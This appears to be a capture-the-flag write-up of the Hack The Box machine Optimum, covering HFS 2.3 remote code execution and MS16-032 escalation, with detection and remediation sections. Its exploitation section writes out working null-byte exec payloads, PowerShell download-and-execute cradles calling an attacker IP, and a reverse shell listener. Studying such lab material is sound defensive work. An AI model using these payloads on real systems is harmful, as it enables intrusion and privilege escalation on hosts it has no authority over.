Skip to content
Back to all posts

HTB: Optimum

· 16 min easy Windows Optimum

A null byte injection in Rejetto HFS 2.3 gives unauthenticated RCE, and a Secondary Logon race condition escalates to SYSTEM on an unpatched Windows Server 2012 R2.

Overview

Optimum is a retired Easy-rated Windows machine hosting a single service: Rejetto HttpFileServer (HFS) 2.3 on port 80. No other ports are open. The server runs on Windows Server 2012 R2 with 31 hotfixes, all dating from 2014. Over a decade of critical updates are missing.

HFS 2.3 is vulnerable to CVE-2014-6287, a remote code execution flaw caused by a null byte injection in the search parameter. The null byte terminates the search string from the application’s perspective, but subsequent content passes through to the HFS template engine, where {.exec|cmd.} directives execute operating system commands as the kostas user. Privilege escalation uses MS16-032 (CVE-2016-0099), a race condition in the Windows Secondary Logon Service, but requires navigating a 32-bit/64-bit architecture mismatch that complicates both exploitation and detection.

What makes this box worth studying beyond its Easy rating is the WoW64 redirection problem. The 32-bit HFS process cannot directly invoke 64-bit system binaries, and the MS16-032 kernel exploit requires a 64-bit execution context. Understanding Windows filesystem virtualisation is essential for anyone working with post-exploitation on mixed-architecture hosts.

Reconnaissance

I scan all 65535 ports to confirm no services are hidden behind non-standard ports:

nmap -sC -sV -p- --min-rate 5000 10.129.15.118
PortServiceProduct / VersionNotes
80HTTPHttpFileServer httpd 2.3Default HFS directory listing

Only port 80 is open. No SSH, no RDP, no SMB. The attack surface is entirely the web service. A full port scan is worth the time here because a Windows host with only HTTP exposed is unusual; it rules out the possibility of SMB-based lateral paths or RDP access that might simplify later stages.

curl -sI http://10.129.15.118/
# Server: HFS 2.3
# Set-Cookie: HFS_SID_=0.208266498241574; path=/;

The Server header confirms HFS 2.3 specifically. The HFS web interface presents a file browser with a built-in search function. No authentication is required to access the interface or search. The cookie name (HFS_SID_) identifies the server fingerprint even if the Server header were stripped.

Attack Surface Analysis

HFS 2.3 implements a custom macro language for template processing. Directives enclosed in {. .} delimiters are evaluated server-side. The {.exec|command.} directive passes its argument to cmd.exe /c for execution. The search parameter flows through the template engine without sanitisation, creating a direct code injection path.

I searched for known vulnerabilities against HFS 2.3 and found CVE-2014-6287 immediately. The vulnerability has public exploits on Exploit-DB and in Metasploit.

AttributeValue
CVECVE-2014-6287
CVSS v3.19.8 (Critical)
CWECWE-94 (Code Injection)
Root causeNull byte terminates search string; trailing content parsed as template directives
AffectedHFS 2.3 (and earlier versions using the macro engine)
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

Vulnerability Analysis

The exploit URL format is: http://TARGET/?search=%00{.exec|COMMAND.}. The %00 null byte terminates the search query at the C string level within the HFS parser. The application considers the search complete, but the HTTP query string still contains bytes after the null. These bytes reach the template engine, which processes {.exec|...|.} as a macro directive and passes the enclosed command to cmd.exe /c.

This is a textbook case of impedance mismatch between parsing layers. The search handler uses null-terminated string semantics (C/Delphi heritage; HFS is written in Delphi), while the template engine processes the raw byte stream. The null byte acts as a parsing boundary bypass: it satisfies the search handler that input has ended, while the template engine sees and executes the trailing directive.

The pattern appears repeatedly in web security history. PHP’s include() was vulnerable to null byte injection until 5.3.4. Java’s File class had the same issue until JDK 7u40. Any application bridging C-style string handling with a higher-level interpreter is a candidate for this class of vulnerability.

Exploitation

Step 1: Confirm code execution

Before committing to a payload, I verify that commands execute and that the target can reach my machine. I use a certutil callback rather than ping because ICMP may be filtered, while HTTP provides a clear request log:

# Attacker: start HTTP listener
python3 -m http.server 8080

# Trigger HFS exec directive
curl -s "http://10.129.15.118/?search=%00{.exec|certutil+-urlcache+-split+-f+http://10.10.14.5:8080/ping.txt+C:\Users\kostas\ping.txt.}"

# Attacker HTTP server log:
# 10.129.15.118 - "GET /ping.txt HTTP/1.1" 404 -

The 404 response is irrelevant; the file does not need to exist. The inbound HTTP request from 10.129.15.118 confirms two things: the {.exec} directive executed, and the target has outbound HTTP connectivity to my machine. Both are prerequisites for the download cradle in the next step.

Step 2: Obtain reverse shell

Complex PowerShell commands fail when passed through the HFS template parser. Characters like |, ;, and { conflict with the macro delimiter syntax. The workaround is a two-stage approach: host a PowerShell reverse shell script on my HTTP server, then use IEX (Invoke-Expression) with DownloadString to fetch and execute it in memory.

I use Nishang’s Invoke-PowerShellTcp.ps1 with a reverse connection type, modified to include the callback at the end of the script so it executes on import:

# Host Nishang reverse shell script
python3 -m http.server 8080

# Trigger download and execution via 64-bit PowerShell
curl -s "http://10.129.15.118/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).DownloadString('http://10.10.14.5:8080/rev.ps1').}"
nc -lnvp 4444
# Connection from 10.129.15.118:49267
# PS C:\Users\kostas\Desktop> whoami
# optimum\kostas

The SysNative path is critical and easy to overlook. HFS 2.3 runs as a 32-bit process under WoW64 (Windows 32-bit on Windows 64-bit). On a 64-bit OS, 32-bit processes see a virtualised C:\Windows\System32 that contains 32-bit binaries. The real 64-bit System32 is accessible only via the synthetic C:\Windows\SysNative path, which exists solely for this purpose. Using System32 from a 32-bit process would invoke 32-bit PowerShell, and the MS16-032 exploit later requires a 64-bit context. Getting this wrong wastes time debugging cryptic exploit failures.

User flag obtained from C:\Users\kostas\Desktop\user.txt.

Step 3: Privilege escalation with MS16-032

I enumerate the current user’s privileges to determine viable escalation paths:

whoami /priv
# SeChangeNotifyPrivilege       Bypass traverse checking       Enabled

No SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. This rules out the Potato family of attacks (RottenPotato, JuicyPotato, PrintSpoofer), which all depend on impersonation privileges to abuse Windows service account token handling.

With impersonation off the table, I turn to kernel-level exploits. The system has 31 hotfixes, all from 2014, and the most recent is KB3014442. I cross- reference the installed patches against known Windows privilege escalation CVEs:

systeminfo
# Hotfix(s):                 31 Hotfix(s) Installed.
#                            [01]: KB2938066
#                            ...
#                            [31]: KB3014442

KB3139914 (the MS16-032 patch, released March 2016) is absent. MS16-032 (CVE-2016-0099) exploits a race condition in the Secondary Logon Service (seclogon). The seclogon service creates processes on behalf of other users; a TOCTOU (time-of-check-to-time-of-use) race between handle validation and process creation allows an attacker to duplicate a SYSTEM token into a controlled process. The exploit requires two or more logical processors (the race is impossible to win on a uniprocessor system) and a 64-bit PowerShell context on 64-bit systems.

AttributeValue
CVECVE-2016-0099
CVSS v3.17.8 (High)
CWECWE-362 (Race Condition)
Root causeTOCTOU race in Secondary Logon Service handle validation
Prerequisite2+ logical CPUs; 64-bit execution context on x64 OS
Fixed inKB3139914 (MS16-032)

The SYSTEM process spawned by the exploit cannot make outbound network connections; Windows Firewall blocks them for newly created processes without explicit rules. Spawning a second reverse shell as SYSTEM therefore fails silently. Instead, I use icacls to grant the kostas user full access to the Administrator’s desktop, then read the flag from the existing shell:

# From 64-bit PowerShell (already in SysNative context)
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/Invoke-MS16032.ps1'); Invoke-MS16032 -Command 'cmd /c icacls C:\Users\Administrator\Desktop /grant kostas:F /T'"

# [+] Windows 10 x64 with 2 logical processors
# [+] Token duplication succeeded
# [+] CreateProcessWithLogonW completed

The “Windows 10 x64” banner is hardcoded in the Empire PowerShell script; the actual OS is Server 2012 R2 as confirmed by systeminfo. The exploit works on both platforms because the vulnerable seclogon code path is shared across Windows client and server editions of the same kernel generation.

PS> type C:\Users\Administrator\Desktop\root.txt
# [flag redacted]

Root flag obtained.

Post-Exploitation

System enumeration confirms the full scope of the patch deficit:

systeminfo
# OS Name:                   Microsoft Windows Server 2012 R2 Standard
# OS Version:                6.3.9600 N/A Build 9600
# System Type:               x64-based PC
# Hotfix(s):                 31 Hotfix(s) Installed.
#                            [01]: KB2938066
#                            ...
#                            [31]: KB3014442

All 31 hotfixes date from 2014. The system has received no updates for over a decade. Beyond MS16-032, this host is vulnerable to dozens of subsequent kernel privilege escalation CVEs, including MS16-135 (win32k.sys), CVE-2020-0787 (BITS arbitrary file write), and CVE-2021-1732 (win32k type confusion).

The kostas user is a standard account with no administrative group membership and no special privileges beyond SeChangeNotifyPrivilege (which all users have by default). The entire escalation path depended on the missing kernel patch and the architecture-aware selection of the PowerShell binary.

An operational note on HFS reliability: the {.exec} handler stops processing new directives after approximately 10 to 15 invocations. The handler fails silently with no error response. This appears to be a resource exhaustion issue in HFS’s macro processing thread pool. In practice, limit yourself to 3 commands per engagement. If the handler degrades, the target VM must be reset.

In a production environment, the SYSTEM token could be used for credential extraction via Mimikatz (dumping LSASS), creation of backdoor administrator accounts, or lateral movement to domain-joined machines via pass-the-hash.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF rule matching %00{.exec in query strings
ExecutionT1059.001PowerShell downloading and executing remote scripts via DownloadString
Priv escalationT1068MS16-032: seclogon service creating processes with duplicated SYSTEM token
PersistenceT1222.001icacls modifying NTFS permissions on Administrator profile

Network-level: The null byte followed by {.exec in HTTP query strings is a distinctive signature with virtually zero false-positive risk. Any web application firewall that blocks null bytes in query parameters would prevent this attack entirely. Even a basic ModSecurity rule matching %00 in the QUERY_STRING variable is sufficient.

Host-level: The IEX(New-Object Net.WebClient).DownloadString() pattern is among the most commonly flagged indicators in endpoint detection products. Script block logging (introduced in PowerShell 5.0, available on Server 2012 R2 via WMF 5.1 update) would capture the full payload including the remote URL and the downloaded script contents. Process creation logging via Sysmon would also record the SysNative path invocation, which is a strong signal for WoW64 escape attempts.

Privilege escalation: The seclogon service creating a process with a SYSTEM token for a non-privileged caller is detectable via Windows Security Event 4688 (process creation) with token elevation type monitoring. The specific pattern of CreateProcessWithLogonW followed by immediate icacls execution is highly anomalous.

Remediation

PriorityActionEffortImpact
P0Remove HFS 2.3; replace with a maintained file serverLowCritical
P0Apply all Windows updates (system is 10+ years behind)MediumCritical
P1Deploy a WAF blocking null bytes in query parametersLowHigh
P1Enable PowerShell Constrained Language ModeLowHigh
P1Enable PowerShell script block logging (WMF 5.1)LowHigh
P2Implement application whitelisting (AppLocker or WDAC)MediumMedium
P2Restrict outbound HTTP from server processesLowMedium

HFS 2.3 is abandonware. Rejetto released HFS 3.x as a complete rewrite in Node.js, but the 2.x Delphi branch is unmaintained and will never receive security patches. The correct action is replacement with a maintained alternative (IIS with WebDAV, or a purpose-built file transfer solution), not an upgrade within the HFS product line.

The deeper issue is the patch management failure. A system with no updates since 2014 is not a single-vulnerability problem; it is a systemic failure. Even if CVE-2014-6287 and MS16-032 were somehow patched, dozens of other exploitable CVEs remain. The remediation is not individual patching but bringing the system into an active update cycle, or migrating to Server 2022.

Key Takeaways

  1. Null byte injection exploits parsing layer mismatches. The null byte terminates strings in C-derived parsers but passes through template engines, HTTP query string handlers, and many higher-level interpreters. Any application that processes user input through multiple parsing layers with different null byte semantics is a candidate for this class of vulnerability. The fix is straightforward: reject or strip null bytes at the outermost input boundary before any further processing occurs.

  2. Architecture mismatches complicate both attack and defence. The 32-bit HFS process running on a 64-bit OS meant kernel exploits had to be launched from a specific PowerShell path (SysNative). From the defender’s perspective, any process accessing C:\Windows\SysNative is attempting to escape the WoW64 virtualisation layer. This is a reliable detection signal because legitimate 32-bit applications rarely need to invoke 64-bit system binaries directly.

  3. When outbound connections fail, pivot to local filesystem manipulation. Windows Firewall blocking outbound connections from the SYSTEM process forced an alternative approach: modifying NTFS permissions with icacls rather than spawning a reverse shell. This is a useful defensive control (egress filtering raises the cost of exploitation), but it does not prevent the privilege escalation itself. The flag was still readable within seconds.